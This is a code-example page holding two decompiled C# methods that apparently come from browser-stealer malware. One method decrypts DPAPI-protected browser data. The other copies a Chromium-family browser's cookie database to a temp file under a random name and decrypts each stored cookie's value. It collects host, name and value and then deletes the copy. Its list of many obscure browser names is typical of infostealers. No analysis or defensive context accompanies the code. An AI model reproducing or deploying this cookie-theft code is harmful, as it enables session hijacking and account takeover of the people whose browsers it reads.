示例#1
0
        // Token: 0x06000035 RID: 53 RVA: 0x00004438 File Offset: 0x00002638
        public static byte[] DecryptBrowsers(byte[] cipherTextBytes, byte[] entropyBytes = null)
        {
            Cookies.DataBlob dataBlob  = default(Cookies.DataBlob);
            Cookies.DataBlob dataBlob2 = default(Cookies.DataBlob);
            Cookies.DataBlob dataBlob3 = default(Cookies.DataBlob);
            Cookies.CryptprotectPromptstruct cryptprotectPromptstruct = new Cookies.CryptprotectPromptstruct
            {
                cbSize        = Marshal.SizeOf(typeof(Cookies.CryptprotectPromptstruct)),
                dwPromptFlags = 0,
                hwndApp       = IntPtr.Zero,
                szPrompt      = null
            };
            string empty = string.Empty;

            try
            {
                try
                {
                    if (cipherTextBytes == null)
                    {
                        cipherTextBytes = new byte[0];
                    }
                    dataBlob2.pbData = Marshal.AllocHGlobal(cipherTextBytes.Length);
                    dataBlob2.cbData = cipherTextBytes.Length;
                    Marshal.Copy(cipherTextBytes, 0, dataBlob2.pbData, cipherTextBytes.Length);
                }
                catch (Exception)
                {
                }
                try
                {
                    if (entropyBytes == null)
                    {
                        entropyBytes = new byte[0];
                    }
                    dataBlob3.pbData = Marshal.AllocHGlobal(entropyBytes.Length);
                    dataBlob3.cbData = entropyBytes.Length;
                    Marshal.Copy(entropyBytes, 0, dataBlob3.pbData, entropyBytes.Length);
                }
                catch (Exception)
                {
                }
                Cookies.CryptUnprotectData(ref dataBlob2, ref empty, ref dataBlob3, IntPtr.Zero, ref cryptprotectPromptstruct, 1, ref dataBlob);
                byte[] array = new byte[dataBlob.cbData];
                Marshal.Copy(dataBlob.pbData, array, 0, dataBlob.cbData);
                return(array);
            }
            catch (Exception)
            {
            }
            finally
            {
                if (dataBlob.pbData != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(dataBlob.pbData);
                }
                if (dataBlob2.pbData != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(dataBlob2.pbData);
                }
                if (dataBlob3.pbData != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(dataBlob3.pbData);
                }
            }
            return(new byte[0]);
        }
示例#2
0
        // Token: 0x06000036 RID: 54 RVA: 0x000045FC File Offset: 0x000027FC
        private static List <CookieData> FetchCookies(string basePath)
        {
            List <CookieData> result;

            if (!File.Exists(basePath))
            {
                result = null;
            }
            else
            {
                basePath.Contains("Chrome");
                basePath.Contains("Orbitum");
                basePath.Contains("Opera");
                basePath.Contains("Amigo");
                basePath.Contains("Torch");
                basePath.Contains("Comodo");
                basePath.Contains("BlackHawk");
                basePath.Contains("AcWebBrowser");
                basePath.Contains("Baidu Spark");
                basePath.Contains("Rockmelt");
                basePath.Contains("Sleipnir");
                basePath.Contains("SRWare Iron");
                basePath.Contains("Titan Browser");
                basePath.Contains("Flock");
                basePath.Contains("CoolNovo");
                basePath.Contains("Epic Browser");
                basePath.Contains("Uran");
                try
                {
                    string text = Path.GetTempPath() + "/" + NameR.GetName() + ".fv";
                    if (File.Exists(text))
                    {
                        File.Delete(text);
                    }
                    File.Copy(basePath, text, true);
                    Decod             decod = new Decod(text);
                    List <CookieData> list  = new List <CookieData>();
                    decod.ReadTable("cookies");
                    for (int i = 0; i < decod.GetRowCount(); i++)
                    {
                        try
                        {
                            string text2 = string.Empty;
                            try
                            {
                                text2 = Encoding.UTF8.GetString(Cookies.DecryptBrowsers(Encoding.Default.GetBytes(decod.GetValue(i, 12)), null));
                            }
                            catch (Exception)
                            {
                            }
                            if (text2 != "")
                            {
                                list.Add(new CookieData
                                {
                                    host_key    = decod.GetValue(i, 1),
                                    name        = decod.GetValue(i, 2),
                                    path        = decod.GetValue(i, 4),
                                    expires_utc = decod.GetValue(i, 5),
                                    secure      = decod.GetValue(i, 6),
                                    value       = text2
                                });
                            }
                        }
                        catch (Exception)
                        {
                        }
                    }
                    File.Delete(text);
                    result = list;
                }
                catch (Exception)
                {
                    result = null;
                }
            }
            return(result);
        }